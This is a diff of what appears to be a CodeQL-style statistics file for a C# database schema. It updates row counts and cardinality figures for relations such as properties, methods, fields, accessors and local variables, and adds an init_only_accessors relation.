+1137201 @@ -14566,7 +14561,7 @@ 1 2 -1267440 +1266369 @@ -14582,12 +14577,12 @@ 1 2 -1075751 +1074850 2 199 -62404 +62351 @@ -14597,11 +14592,11 @@ type_annotation -50933 +50890 id -50933 +50890 annotation @@ -14619,7 +14614,7 @@ 1 2 -50933 +50890 @@ -14655,11 +14650,11 @@ nullability -1997 +1995 nullability -1997 +1995 kind @@ -14677,7 +14672,7 @@ 1 2 -1997 +1995 @@ -14713,11 +14708,11 @@ nullability_parent -6278 +6273 nullability -521 +520 index @@ -14725,7 +14720,7 @@ parent -1982 +1980 @@ -14968,12 +14963,12 @@ 1 2 -594 +593 2 3 -1227 +1226 3 @@ -15034,15 +15029,15 @@ type_nullability -4603776 +4603538 id -4529399 +4529161 nullability -966 +964 @@ -15056,7 +15051,7 @@ 1 2 -4463859 +4463621 2 @@ -15077,17 +15072,17 @@ 1 2 -165 +163 2 3 -143 +142 3 4 -56 +57 4 @@ -15097,42 +15092,42 @@ 5 7 -84 +83 7 10 -65 +66 10 14 -74 +75 14 23 -79 +77 23 45 -74 +75 45 -122 +123 +74 + + +123 +4618 73 -122 -4124 -73 - - -4617 -3677592 -11 +5092 +3680271 +10 @@ -15142,11 +15137,11 @@ expr_flowstate -2990059 +2987557 id -2990059 +2987557 state @@ -15164,7 +15159,7 @@ 1 2 -2990059 +2987557 @@ -15178,13 +15173,13 @@ 12 -205776 -205777 +205765 +205766 1 -2254364 -2254365 +2254377 +2254378 1 @@ -15195,11 +15190,11 @@ type_parameters -202709 +202540 id -202709 +202540 index @@ -15207,7 +15202,7 @@ generic_id -103717 +103630 variance @@ -15225,7 +15220,7 @@ 1 2 -202709 +202540 @@ -15241,7 +15236,7 @@ 1 2 -202709 +202540 @@ -15257,7 +15252,7 @@ 1 2 -202709 +202540 @@ -15531,22 +15526,22 @@ 1 2 -80589 +80521 2 3 -10775 +10766 3 11 -8349 +8342 11 22 -4004 +4000 @@ -15562,22 +15557,22 @@ 1 2 -80589 +80521 2 3 -10775 +10766 3 11 -8349 +8342 11 22 -4004 +4000 @@ -15593,12 +15588,12 @@ 1 2 -103566 +103479 2 3 -151 +150 @@ -15686,11 +15681,11 @@ type_arguments -643845 +643305 id -273283 +273054 index @@ -15698,7 +15693,7 @@ constructed_id -412926 +412580 @@ -15712,17 +15707,17 @@ 1 2 -234689 +234492 2 3 -37118 +37087 3 21 -1475 +1474 @@ -15738,27 +15733,27 @@ 1 2 -173950 +173804 2 3 -56476 +56429 3 5 -20571 +20553 5 23 -20653 +20636 23 2800 -1631 +1630 @@ -15986,17 +15981,17 @@ 1 2 -290079 +289836 2 3 -96240 +96159 3 22 -26606 +26584 @@ -16012,17 +16007,17 @@ 1 2 -287916 +287675 2 3 -97238 +97157 3 22 -27770 +27747 @@ -16032,15 +16027,15 @@ constructed_generic -412926 +412580 constructed -412926 +412580 generic -8578 +8570 @@ -16054,7 +16049,7 @@ 1 2 -412926 +412580 @@ -16070,12 +16065,12 @@ 1 2 -3443 +3441 2 3 -1154 +1153 3 @@ -16120,15 +16115,15 @@ type_parameter_constraints -610857 +610345 id -610857 +610345 param_id -202622 +202452 @@ -16142,7 +16137,7 @@ 1 2 -610857 +610345 @@ -16158,22 +16153,22 @@ 1 2 -164237 +164099 2 3 -17687 +17672 3 11 -16591 +16577 11 2108 -4106 +4102 @@ -16219,11 +16214,11 @@ general_type_parameter_constraints -118941 +118962 id -68374 +68393 kind @@ -16241,12 +16236,12 @@ 1 2 -17807 +17824 2 3 -50567 +50569 @@ -16265,23 +16260,23 @@ 1 -442 -443 +440 +441 1 -5895 -5896 +5904 +5905 1 -50446 -50447 +50448 +50449 1 -62154 -62155 +62166 +62167 1 @@ -16292,11 +16287,11 @@ specific_type_parameter_constraints -57175 +57187 id -56321 +56336 base_id @@ -16314,12 +16309,12 @@ 1 2 -55515 +55533 2 5 -806 +803 @@ -16335,12 +16330,12 @@ 1 2 -77 +76 2 3 -212 +213 3 @@ -16350,22 +16345,22 @@ 4 5 -100 +97 5 6 -54 +58 6 7 -117 +115 7 10 -105 +106 10 @@ -16394,7 +16389,7 @@ 204 -8422 +8421 41 @@ -16405,11 +16400,11 @@ specific_type_parameter_nullability -39894 +39912 id -39656 +39677 base_id @@ -16431,12 +16426,12 @@ 1 2 -39418 +39442 2 3 -238 +235 @@ -16452,7 +16447,7 @@ 1 2 -39656 +39677 @@ -16483,32 +16478,32 @@ 4 5 -52 +49 5 6 -47 +52 6 7 -82 +79 7 10 -69 +70 10 12 -53 +55 12 16 -71 +69 16 @@ -16527,7 +16522,7 @@ 93 -6983 +6982 56 @@ -16628,8 +16623,8 @@ 1 -38729 -38730 +38750 +38751 1 @@ -16744,11 +16739,11 @@ has_modifiers -5496295 +5491690 id -3691035 +3687943 mod_id @@ -16766,17 +16761,17 @@ 1 2 -2021272 +2019579 2 3 -1536106 +1534819 3 5 -133655 +133543 @@ -16882,22 +16877,22 @@ compiler_generated -135857 +135743 id -135857 +135743 exprorstmt_name -3703 +3700 parent_id -3703 +3700 name @@ -16915,7 +16910,7 @@ 1 2 -3703 +3700 @@ -16981,19 +16976,19 @@ nested_types -111944 +111851 id -111944 +111851 declaring_type_id -40601 +40567 unbound_id -81124 +81056 @@ -17007,7 +17002,7 @@ 1 2 -111944 +111851 @@ -17023,7 +17018,7 @@ 1 2 -111944 +111851 @@ -17039,32 +17034,32 @@ 1 2 -23488 +23469 2 3 -6337 +6332 3 4 -3229 +3226 4 7 -3356 +3353 7 12 -3093 +3090 12 262 -1096 +1095 @@ -17080,32 +17075,32 @@ 1 2 -23522 +23503 2 3 -6420 +6414 3 4 -3146 +3144 4 7 -3385 +3382 7 12 -3078 +3076 12 206 -1047 +1046 @@ -17121,12 +17116,12 @@ 1 2 -78109 +78044 2 415 -3015 +3012 @@ -17142,12 +17137,12 @@ 1 2 -78850 +78783 2 415 -2274 +2272 @@ -17157,27 +17152,27 @@ properties -423579 +423224 id -423579 +423224 name -84369 +84298 declaring_type_id -116387 +116289 type_id -52131 +52087 unbound_id -333881 +333601 @@ -17191,7 +17186,7 @@ 1 2 -423579 +423224 @@ -17207,7 +17202,7 @@ 1 2 -423579 +423224 @@ -17223,7 +17218,7 @@ 1 2 -423579 +423224 @@ -17239,7 +17234,7 @@ 1 2 -423579 +423224 @@ -17255,27 +17250,27 @@ 1 2 -50757 +50715 2 3 -13994 +13983 3 4 -5752 +5748 4 7 -6649 +6643 7 49 -6337 +6332 49 @@ -17296,32 +17291,32 @@ 1 2 -50757 +50715 2 3 -14063 +14051 3 4 -5738 +5733 4 7 -6683 +6677 7 51 -6332 +6327 51 2578 -794 +793 @@ -17337,17 +17332,17 @@ 1 2 -72843 +72782 2 3 -6931 +6925 3 524 -4593 +4589 @@ -17363,32 +17358,32 @@ 1 2 -51186 +51143 2 3 -14257 +14246 3 4 -5738 +5733 4 7 -6444 +6439 7 68 -6327 +6322 68 2018 -414 +413 @@ -17404,42 +17399,42 @@ 1 2 -39388 +39355 2 3 -29870 +29845 3 4 -10901 +10892 4 5 -7842 +7836 5 6 -7131 +7125 6 8 -9328 +9320 8 16 -9567 +9559 16 250 -2357 +2355 @@ -17455,42 +17450,42 @@ 1 2 -43899 +43862 2 3 -25437 +25416 3 4 -10896 +10887 4 5 -7862 +7855 5 6 -7146 +7140 6 8 -9284 +9276 8 14 -8743 +8736 14 250 -3117 +3114 @@ -17506,32 +17501,32 @@ 1 2 -45453 +45415 2 3 -32617 +32590 3 4 -13839 +13827 4 5 -7545 +7539 5 7 -9381 +9374 7 48 -7550 +7544 @@ -17547,42 +17542,42 @@ 1 2 -39388 +39355 2 3 -29870 +29845 3 4 -10901 +10892 4 5 -7842 +7836 5 6 -7131 +7125 6 8 -9328 +9320 8 16 -9567 +9559 16 250 -2357 +2355 @@ -17598,27 +17593,27 @@ 1 2 -31419 +31392 2 3 -10779 +10770 3 5 -4632 +4628 5 21 -3945 +3942 21 12516 -1354 +1353 @@ -17634,17 +17629,17 @@ 1 2 -44079 +44042 2 3 -4398 +4395 3 3289 -3653 +3650 @@ -17660,27 +17655,27 @@ 1 2 -32602 +32575 2 3 -10482 +10474 3 5 -4423 +4419 5 33 -3911 +3908 33 6176 -711 +710 @@ -17696,27 +17691,27 @@ 1 2 -31560 +31534 2 3 -10911 +10902 3 5 -4666 +4662 5 22 -3911 +3908 22 10632 -1081 +1080 @@ -17732,12 +17727,12 @@ 1 2 -328708 +328432 2 705 -5173 +5168 @@ -17753,7 +17748,7 @@ 1 2 -333881 +333601 @@ -17769,12 +17764,12 @@ 1 2 -328708 +328432 2 705 -5173 +5168 @@ -17790,12 +17785,12 @@ 1 2 -332673 +332394 2 439 -1208 +1207 @@ -17805,15 +17800,15 @@ property_location -534506 +534058 id -423579 +423224 loc -52901 +52856 @@ -17827,17 +17822,17 @@ 1 2 -338143 +337860 2 3 -64114 +64060 3 119 -21321 +21303 @@ -17853,12 +17848,12 @@ 1 2 -49418 +49376 2 7080 -3482 +3479 @@ -17868,11 +17863,11 @@ indexers -17044 +17030 id -17044 +17030 name @@ -17880,15 +17875,15 @@ declaring_type_id -13551 +13540 type_id -3970 +3966 unbound_id -4437 +4433 @@ -17902,7 +17897,7 @@ 1 2 -17044 +17030 @@ -17918,7 +17913,7 @@ 1 2 -17044 +17030 @@ -17934,7 +17929,7 @@ 1 2 -17044 +17030 @@ -17950,7 +17945,7 @@ 1 2 -17044 +17030 @@ -18085,17 +18080,17 @@ 1 2 -10507 +10498 2 3 -2747 +2745 3 7 -297 +296 @@ -18111,7 +18106,7 @@ 1 2 -13541 +13530 2 @@ -18132,12 +18127,12 @@ 1 2 -11047 +11038 2 3 -2503 +2501 @@ -18153,17 +18148,17 @@ 1 2 -10507 +10498 2 3 -2747 +2745 3 7 -297 +296 @@ -18189,7 +18184,7 @@ 3 4 -1626 +1625 4 @@ -18199,7 +18194,7 @@ 6 18 -302 +301 18 @@ -18220,7 +18215,7 @@ 1 2 -3965 +3961 2 @@ -18241,17 +18236,17 @@ 1 2 -1032 +1031 2 3 -779 +778 3 4 -1661 +1659 4 @@ -18261,7 +18256,7 @@ 6 978 -258 +257 @@ -18287,7 +18282,7 @@ 3 4 -1651 +1649 4 @@ -18297,7 +18292,7 @@ 6 198 -302 +301 @@ -18313,12 +18308,12 @@ 1 2 -4101 +4098 2 452 -336 +335 @@ -18334,7 +18329,7 @@ 1 2 -4437 +4433 @@ -18350,12 +18345,12 @@ 1 2 -4101 +4098 2 452 -336 +335 @@ -18371,7 +18366,7 @@ 1 2 -4247 +4244 2 @@ -18386,15 +18381,15 @@ indexer_location -23829 +23737 id -12674 +12580 loc -219 +221 @@ -18408,27 +18403,27 @@ 1 2 -4484 +4392 2 3 -6675 +6670 3 4 -286 +289 4 5 -1116 +1115 5 13 -113 +114 @@ -18444,17 +18439,17 @@ 1 2 -74 +76 2 3 -22 +23 3 4 -18 +17 4 @@ -18474,22 +18469,22 @@ 13 21 +19 + + +23 +45 18 -22 -44 +47 +2319 17 -44 -1250 -17 - - -1550 -5372 -5 +3525 +5399 +3 @@ -18499,11 +18494,11 @@ accessors -567932 +567456 id -567932 +567456 kind @@ -18511,15 +18506,15 @@ name -121258 +121157 declaring_member_id -440623 +440254 unbound_id -440472 +440103 @@ -18533,7 +18528,7 @@ 1 2 -567932 +567456 @@ -18549,7 +18544,7 @@ 1 2 -567932 +567456 @@ -18565,7 +18560,7 @@ 1 2 -567932 +567456 @@ -18581,7 +18576,7 @@ 1 2 -567932 +567456 @@ -18681,27 +18676,27 @@ 1 2 -75201 +75138 2 3 -19952 +19935 3 4 -7930 +7923 4 8 -10127 +10118 8 2558 -8047 +8040 @@ -18717,7 +18712,7 @@ 1 2 -121258 +121157 @@ -18733,27 +18728,27 @@ 1 2 -75211 +75148 2 3 -19942 +19925 3 4 -7930 +7923 4 8 -10127 +10118 8 2558 -8047 +8040 @@ -18769,27 +18764,27 @@ 1 2 -75849 +75785 2 3 -20619 +20602 3 4 -7764 +7758 4 8 -9654 +9646 8 1202 -7370 +7363 @@ -18805,12 +18800,12 @@ 1 2 -313324 +313062 2 3 -127294 +127187 4 @@ -18831,12 +18826,12 @@ 1 2 -313324 +313062 2 3 -127298 +127192 @@ -18852,12 +18847,12 @@ 1 2 -313324 +313062 2 3 -127298 +127192 @@ -18873,12 +18868,12 @@ 1 2 -313324 +313062 2 3 -127294 +127187 4 @@ -18899,12 +18894,12 @@ 1 2 -433809 +433445 2 705 -6663 +6658 @@ -18920,7 +18915,7 @@ 1 2 -440472 +440103 @@ -18936,7 +18931,7 @@ 1 2 -440472 +440103 @@ -18952,12 +18947,12 @@ 1 2 -433809 +433445 2 705 -6663 +6658 @@ -18966,16 +18961,27 @@ -accessor_location -747850 +init_only_accessors +4 id -567932 +4 + + + + + +accessor_location +747223 + + +id +567456 loc -93224 +93146 @@ -18989,17 +18995,17 @@ 1 2 -432756 +432394 2 3 -98417 +98335 3 119 -36758 +36727 @@ -19015,12 +19021,12 @@ 1 2 -89620 +89545 2 8294 -3604 +3601 @@ -19030,27 +19036,27 @@ events -15232 +15219 id -15232 +15219 name -12991 +12980 declaring_type_id -1227 +1226 type_id -6366 +6361 unbound_id -15222 +15209 @@ -19064,7 +19070,7 @@ 1 2 -15232 +15219 @@ -19080,7 +19086,7 @@ 1 2 -15232 +15219 @@ -19096,7 +19102,7 @@ 1 2 -15232 +15219 @@ -19112,7 +19118,7 @@ 1 2 -15232 +15219 @@ -19128,12 +19134,12 @@ 1 2 -12002 +11992 2 12 -979 +978 14 @@ -19154,12 +19160,12 @@ 1 2 -12002 +11992 2 10 -979 +978 14 @@ -19180,7 +19186,7 @@ 1 2 -12850 +12839 2 @@ -19201,12 +19207,12 @@ 1 2 -12002 +11992 2 12 -979 +978 14 @@ -19386,17 +19392,17 @@ 1 2 -4413 +4409 2 3 -1164 +1163 3 6 -516 +515 6 @@ -19417,7 +19423,7 @@ 1 2 -4802 +4798 2 @@ -19448,12 +19454,12 @@ 1 2 -5752 +5748 2 4 -521 +520 4 @@ -19474,17 +19480,17 @@ 1 2 -4413 +4409 2 3 -1164 +1163 3 6 -516 +515 6 @@ -19505,7 +19511,7 @@ 1 2 -15212 +15199 2 @@ -19526,7 +19532,7 @@ 1 2 -15222 +15209 @@ -19542,7 +19548,7 @@ 1 2 -15212 +15199 2 @@ -19563,7 +19569,7 @@ 1 2 -15212 +15199 2 @@ -19578,11 +19584,11 @@ event_location -15870 +15857 id -15232 +15219 loc @@ -19600,12 +19606,12 @@ 1 2 -14594 +14581 2 3 -638 +637 @@ -19681,11 +19687,11 @@ event_accessors -30464 +30438 id -30464 +30438 kind @@ -19693,15 +19699,15 @@ name -26694 +26671 declaring_event_id -15232 +15219 unbound_id -30444 +30419 @@ -19715,7 +19721,7 @@ 1 2 -30464 +30438 @@ -19731,7 +19737,7 @@ 1 2 -30464 +30438 @@ -19747,7 +19753,7 @@ 1 2 -30464 +30438 @@ -19763,7 +19769,7 @@ 1 2 -30464 +30438 @@ -19843,12 +19849,12 @@ 1 2 -24706 +24686 2 16 -1987 +1985 @@ -19864,7 +19870,7 @@ 1 2 -26694 +26671 @@ -19880,12 +19886,12 @@ 1 2 -24706 +24686 2 16 -1987 +1985 @@ -19901,12 +19907,12 @@ 1 2 -24706 +24686 2 16 -1987 +1985 @@ -19922,7 +19928,7 @@ 2 3 -15232 +15219 @@ -19938,7 +19944,7 @@ 2 3 -15232 +15219 @@ -19954,7 +19960,7 @@ 2 3 -15232 +15219 @@ -19970,7 +19976,7 @@ 2 3 -15232 +15219 @@ -19986,7 +19992,7 @@ 1 2 -30425 +30399 2 @@ -20007,7 +20013,7 @@ 1 2 -30444 +30419 @@ -20023,7 +20029,7 @@ 1 2 -30444 +30419 @@ -20039,7 +20045,7 @@ 1 2 -30425 +30399 2 @@ -20054,11 +20060,11 @@ event_accessor_location -31740 +31714 id -30464 +30438 loc @@ -20076,12 +20082,12 @@ 1 2 -29188 +29163 2 3 -1276 +1275 @@ -20157,11 +20163,11 @@ operators -12411 +12401 id -12411 +12401 name @@ -20173,15 +20179,15 @@ declaring_type_id -3025 +3022 type_id -1622 +1620 unbound_id -11656 +11647 @@ -20195,7 +20201,7 @@ 1 2 -12411 +12401 @@ -20211,7 +20217,7 @@ 1 2 -12411 +12401 @@ -20227,7 +20233,7 @@ 1 2 -12411 +12401 @@ -20243,7 +20249,7 @@ 1 2 -12411 +12401 @@ -20259,7 +20265,7 @@ 1 2 -12411 +12401 @@ -20885,7 +20891,7 @@ 2 3 -1568 +1567 3 @@ -20910,7 +20916,7 @@ 16 73 -112 +111 @@ -20926,12 +20932,12 @@ 1 2 -628 +627 2 3 -1539 +1538 3 @@ -20967,12 +20973,12 @@ 1 2 -628 +627 2 3 -1544 +1542 3 @@ -20992,7 +20998,7 @@ 9 22 -112 +111 @@ -21008,7 +21014,7 @@ 1 2 -2021 +2019 2 @@ -21049,7 +21055,7 @@ 2 3 -1568 +1567 3 @@ -21074,7 +21080,7 @@ 16 73 -112 +111 @@ -21090,12 +21096,12 @@ 1 2 -794 +793 2 3 -370 +369 3 @@ -21131,12 +21137,12 @@ 1 2 -1208 +1207 2 3 -151 +150 3 @@ -21167,7 +21173,7 @@ 1 2 -1208 +1207 2 @@ -21203,7 +21209,7 @@ 1 2 -1266 +1265 2 @@ -21234,12 +21240,12 @@ 1 2 -794 +793 2 3 -370 +369 3 @@ -21275,7 +21281,7 @@ 1 2 -11510 +11500 2 @@ -21296,7 +21302,7 @@ 1 2 -11656 +11647 @@ -21312,7 +21318,7 @@ 1 2 -11656 +11647 @@ -21328,7 +21334,7 @@ 1 2 -11510 +11500 2 @@ -21349,7 +21355,7 @@ 1 2 -11598 +11588 2 @@ -21364,15 +21370,15 @@ operator_location -22258 +22240 id -5637 +5632 loc -3158 +3156 @@ -21391,7 +21397,7 @@ 2 3 -3150 +3147 3 @@ -21406,7 +21412,7 @@ 11 12 -582 +581 12 @@ -21427,12 +21433,12 @@ 1 2 -2768 +2766 2 9 -237 +236 9 @@ -21447,15 +21453,15 @@ constant_value -185373 +185218 id -185261 +185106 value -47859 +47819 @@ -21469,12 +21475,12 @@ 1 2 -185149 +184994 2 3 -112 +111 @@ -21490,22 +21496,22 @@ 1 2 -32895 +32867 2 3 -7219 +7213 3 4 -3887 +3883 4 61 -3590 +3587 61 @@ -21520,27 +21526,27 @@ methods -1116765 +1115829 id -1116765 +1115829 name -133607 +133495 declaring_type_id -202057 +201887 type_id -112889 +112795 unbound_id -696639 +696055 @@ -21554,7 +21560,7 @@ 1 2 -1116765 +1115829 @@ -21570,7 +21576,7 @@ 1 2 -1116765 +1115829 @@ -21586,7 +21592,7 @@ 1 2 -1116765 +1115829 @@ -21602,7 +21608,7 @@ 1 2 -1116765 +1115829 @@ -21618,32 +21624,32 @@ 1 2 -69151 +69093 2 3 -23620 +23600 3 4 -10833 +10824 4 6 -10424 +10415 6 12 -10570 +10561 12 5621 -9006 +8999 @@ -21659,32 +21665,32 @@ 1 2 -79522 +79455 2 3 -19343 +19327 3 4 -11315 +11306 4 7 -11047 +11038 7 33 -10107 +10099 33 4959 -2269 +2268 @@ -21700,17 +21706,17 @@ 1 2 -112870 +112775 2 3 -10594 +10585 3 174 -10024 +10016 177 @@ -21731,32 +21737,32 @@ 1 2 -70890 +70831 2 3 -24487 +24466 3 4 -10906 +10897 4 6 -10721 +10712 6 12 -10029 +10021 12 4958 -6571 +6565 @@ -21772,42 +21778,42 @@ 1 2 -59730 +59680 2 3 -42988 +42952 3 4 -31297 +31271 4 5 -14253 +14241 5 6 -14788 +14776 6 10 -16099 +16085 10 23 -15656 +15642 23 1309 -7243 +7237 @@ -21823,37 +21829,37 @@ 1 2 -64796 +64742 2 3 -44673 +44636 3 4 -34395 +34366 4 5 -18193 +18178 5 8 -18159 +18144 8 18 -15251 +15238 18 457 -6585 +6580 @@ -21869,32 +21875,32 @@ 1 2 -97808 +97726 2 3 -48911 +48870 3 4 -22948 +22928 4 5 -11622 +11612 5 10 -15207 +15195 10 738 -5558 +5553 @@ -21910,42 +21916,42 @@ 1 2 -59837 +59787 2 3 -43066 +43030 3 4 -31297 +31271 4 5 -14287 +14275 5 6 -14808 +14796 6 10 -16016 +16003 10 23 -16113 +16100 23 698 -6629 +6624 @@ -21961,27 +21967,27 @@ 1 2 -75445 +75381 2 3 -14482 +14469 3 4 -8310 +8303 4 10 -8826 +8819 10 62149 -5825 +5821 @@ -21997,22 +22003,22 @@ 1 2 -91578 +91501 2 3 -9615 +9607 3 8 -8665 +8658 8 7666 -3029 +3027 @@ -22028,22 +22034,22 @@ 1 2 -87403 +87330 2 3 -13980 +13968 3 8 -8802 +8794 8 19632 -2703 +2701 @@ -22059,27 +22065,27 @@ 1 2 -75557 +75493 2 3 -14540 +14528 3 4 -8383 +8376 4 10 -8763 +8755 10 44480 -5645 +5640 @@ -22095,12 +22101,12 @@ 1 2 -669803 +669242 2 1367 -26835 +26812 @@ -22116,7 +22122,7 @@ 1 2 -696639 +696055 @@ -22132,12 +22138,12 @@ 1 2 -671669 +671106 2 1367 -24969 +24948 @@ -22153,12 +22159,12 @@ 1 2 -686273 +685698 2 1367 -10365 +10357 @@ -22168,15 +22174,15 @@ method_location -1280490 +1279418 id -1116765 +1115829 loc -40835 +40801 @@ -22190,17 +22196,17 @@ 1 2 -986377 +985551 2 3 -98276 +98194 3 119 -32110 +32084 @@ -22216,17 +22222,17 @@ 1 2 -36222 +36191 2 51 -3078 +3076 51 27729 -1534 +1533 @@ -22236,23 +22242,23 @@ constructors -277672 +277440 id -277672 +277440 name -133480 +133368 declaring_type_id -212004 +211826 unbound_id -223276 +223089 @@ -22266,7 +22272,7 @@ 1 2 -277672 +277440 @@ -22282,7 +22288,7 @@ 1 2 -277672 +277440 @@ -22298,7 +22304,7 @@ 1 2 -277672 +277440 @@ -22314,22 +22320,22 @@ 1 2 -102197 +102112 2 3 -19173 +19156 3 8 -10248 +10240 8 2183 -1860 +1859 @@ -22345,17 +22351,17 @@ 1 2 -122495 +122393 2 11 -10083 +10074 11 2183 -901 +900 @@ -22371,17 +22377,17 @@ 1 2 -103079 +102992 2 3 -19328 +19312 3 10 -10088 +10079 10 @@ -22402,17 +22408,17 @@ 1 2 -179333 +179182 2 3 -19752 +19736 3 20 -12918 +12907 @@ -22428,7 +22434,7 @@ 1 2 -212004 +211826 @@ -22444,17 +22450,17 @@ 1 2 -179333 +179182 2 3 -19752 +19736 3 20 -12918 +12907 @@ -22470,12 +22476,12 @@ 1 2 -220845 +220660 2 780 -2430 +2428 @@ -22491,7 +22497,7 @@ 1 2 -223276 +223089 @@ -22507,12 +22513,12 @@ 1 2 -220845 +220660 2 780 -2430 +2428 @@ -22522,15 +22528,15 @@ constructor_location -321474 +321205 id -277672 +277440 loc -24774 +24754 @@ -22544,17 +22550,17 @@ 1 2 -238347 +238147 2 3 -37576 +37544 3 87 -1748 +1747 @@ -22570,17 +22576,17 @@ 1 2 -19002 +18986 2 3 -3180 +3178 3 59 -1865 +1864 59 @@ -22595,19 +22601,19 @@ destructors -443 +442 id -443 +442 name -414 +413 declaring_type_id -443 +442 unbound_id @@ -22625,7 +22631,7 @@ 1 2 -443 +442 @@ -22641,7 +22647,7 @@ 1 2 -443 +442 @@ -22657,7 +22663,7 @@ 1 2 -443 +442 @@ -22736,7 +22742,7 @@ 1 2 -443 +442 @@ -22752,7 +22758,7 @@ 1 2 -443 +442 @@ -22768,7 +22774,7 @@ 1 2 -443 +442 @@ -22836,7 +22842,7 @@ destructor_location -645 +644 id @@ -22844,7 +22850,7 @@ loc -322 +321 @@ -22914,7 +22920,7 @@ 1 2 -254 +253 2 @@ -22939,15 +22945,15 @@ overrides -273960 +273731 id -273936 +273707 base_id -65410 +65355 @@ -22961,7 +22967,7 @@ 1 2 -273912 +273682 2 @@ -22982,27 +22988,27 @@ 1 2 -40255 +40221 2 3 -10473 +10464 3 4 -4286 +4283 4 7 -5338 +5334 7 184 -4910 +4906 215 @@ -23017,15 +23023,15 @@ explicitly_implements -155961 +155830 id -155961 +155830 interface_id -13283 +13272 @@ -23039,7 +23045,7 @@ 1 2 -155961 +155830 @@ -23055,17 +23061,17 @@ 1 2 -6770 +6765 2 3 -2489 +2487 3 4 -1183 +1182 4 @@ -23075,12 +23081,12 @@ 5 7 -1208 +1207 7 58 -998 +997 58 @@ -23444,11 +23450,11 @@ fields -555749 +555284 id -555749 +555284 kind @@ -23456,19 +23462,19 @@ name -218244 +218061 declaring_type_id -103590 +103504 type_id -89522 +89447 unbound_id -548053 +547594 @@ -23482,7 +23488,7 @@ 1 2 -555749 +555284 @@ -23498,7 +23504,7 @@ 1 2 -555749 +555284 @@ -23514,7 +23520,7 @@ 1 2 -555749 +555284 @@ -23530,7 +23536,7 @@ 1 2 -555749 +555284 @@ -23546,7 +23552,7 @@ 1 2 -555749 +555284 @@ -23667,22 +23673,22 @@ 1 2 -176191 +176043 2 3 -22568 +22549 3 14 -16557 +16543 14 4800 -2927 +2925 @@ -23698,12 +23704,12 @@ 1 2 -208886 +208711 2 3 -9357 +9349 @@ -23719,22 +23725,22 @@ 1 2 -176215 +176067 2 3 -22553 +22534 3 14 -16547 +16533 14 4800 -2927 +2925 @@ -23750,17 +23756,17 @@ 1 2 -188700 +188542 2 3 -17658 +17643 3 2459 -11885 +11875 @@ -23776,22 +23782,22 @@ 1 2 -176580 +176432 2 3 -22573 +22554 3 15 -16474 +16460 15 4800 -2615 +2613 @@ -23807,42 +23813,42 @@ 1 2 -27322 +27299 2 3 -21150 +21133 3 4 -12572 +12562 4 5 -10102 +10094 5 6 -7935 +7928 6 8 -9274 +9266 8 12 -8149 +8142 12 4204 -7082 +7076 @@ -23858,12 +23864,12 @@ 1 2 -102499 +102413 2 3 -1091 +1090 @@ -23879,42 +23885,42 @@ 1 2 -27322 +27299 2 3 -21155 +21137 3 4 -12577 +12566 4 5 -10097 +10089 5 6 -7935 +7928 6 8 -9279 +9271 8 12 -8149 +8142 12 4204 -7072 +7067 @@ -23930,37 +23936,37 @@ 1 2 -44532 +44495 2 3 -21204 +21186 3 4 -9435 +9427 4 5 -7365 +7359 5 6 -6162 +6156 6 9 -9591 +9583 9 132 -5299 +5295 @@ -23976,42 +23982,42 @@ 1 2 -27322 +27299 2 3 -21150 +21133 3 4 -12572 +12562 4 5 -10102 +10094 5 6 -7935 +7928 6 8 -9274 +9266 8 12 -8149 +8142 12 4204 -7082 +7076 @@ -24027,32 +24033,32 @@ 1 2 -55804 +55757 2 3 -10882 +10873 3 4 -6210 +6205 4 7 -7969 +7962 7 27 -6790 +6784 27 9290 -1865 +1864 @@ -24068,12 +24074,12 @@ 1 2 -87325 +87252 2 3 -2196 +2195 @@ -24089,27 +24095,27 @@ 1 2 -63734 +63681 2 3 -9318 +9310 3 5 -7886 +7879 5 18 -6839 +6833 18 5213 -1743 +1742 @@ -24125,22 +24131,22 @@ 1 2 -68318 +68261 2 3 -10039 +10031 3 7 -7233 +7227 7 5746 -3931 +3927 @@ -24156,32 +24162,32 @@ 1 2 -55848 +55801 2 3 -11208 +11199 3 4 -5923 +5918 4 7 -7944 +7938 7 27 -6746 +6740 27 9185 -1851 +1849 @@ -24197,7 +24203,7 @@ 1 2 -547142 +546683 2 @@ -24218,7 +24224,7 @@ 1 2 -548053 +547594 @@ -24234,7 +24240,7 @@ 1 2 -548053 +547594 @@ -24250,7 +24256,7 @@ 1 2 -547142 +546683 2 @@ -24271,7 +24277,7 @@ 1 2 -547556 +547097 2 @@ -24286,15 +24292,15 @@ field_location -636514 +635980 id -548384 +547925 loc -52852 +52808 @@ -24308,17 +24314,17 @@ 1 2 -466270 +465880 2 3 -78104 +78039 3 57 -4008 +4005 @@ -24334,12 +24340,12 @@ 1 2 -49345 +49303 2 8882 -3507 +3504 @@ -24349,11 +24355,11 @@ localvars -163691 +163686 id -163691 +163686 kind @@ -24361,7 +24367,7 @@ name -22592 +22588 implicitly_typed @@ -24373,7 +24379,7 @@ parent_id -163691 +163686 @@ -24387,7 +24393,7 @@ 1 2 -163691 +163686 @@ -24403,7 +24409,7 @@ 1 2 -163691 +163686 @@ -24419,7 +24425,7 @@ 1 2 -163691 +163686 @@ -24435,7 +24441,7 @@ 1 2 -163691 +163686 @@ -24451,7 +24457,7 @@ 1 2 -163691 +163686 @@ -24475,8 +24481,8 @@ 1 -162439 -162440 +162434 +162435 1 @@ -24501,8 +24507,8 @@ 1 -22379 -22380 +22375 +22376 1 @@ -24574,8 +24580,8 @@ 1 -162872 -162873 +162867 +162868 1 @@ -24592,7 +24598,7 @@ 1 2 -14113 +14109 2 @@ -24628,7 +24634,7 @@ 1 2 -22500 +22496 2 @@ -24649,7 +24655,7 @@ 1 2 -19933 +19929 2 @@ -24670,7 +24676,7 @@ 1 2 -19223 +19219 2 @@ -24696,7 +24702,7 @@ 1 2 -14079 +14075 2 @@ -24735,8 +24741,8 @@ 1 -126640 -126641 +126635 +126636 1 @@ -24777,8 +24783,8 @@ 1 -16704 -16705 +16700 +16701 1 @@ -24819,8 +24825,8 @@ 1 -126926 -126927 +126921 +126922 1 @@ -24866,7 +24872,7 @@ 35 -37235 +37230 317 @@ -24928,7 +24934,7 @@ 49 -1941 +1937 84 @@ -24995,7 +25001,7 @@ 35 -37240 +37235 319 @@ -25012,7 +25018,7 @@ 1 2 -163691 +163686 @@ -25028,7 +25034,7 @@ 1 2 -163691 +163686 @@ -25044,7 +25050,7 @@ 1 2 -163691 +163686 @@ -25060,7 +25066,7 @@ 1 2 -163691 +163686 @@ -25076,7 +25082,7 @@ 1 2 -163691 +163686 @@ -25086,15 +25092,15 @@ localvar_location -163256 +163251 id -163256 +163251 loc -163177 +163172 @@ -25108,7 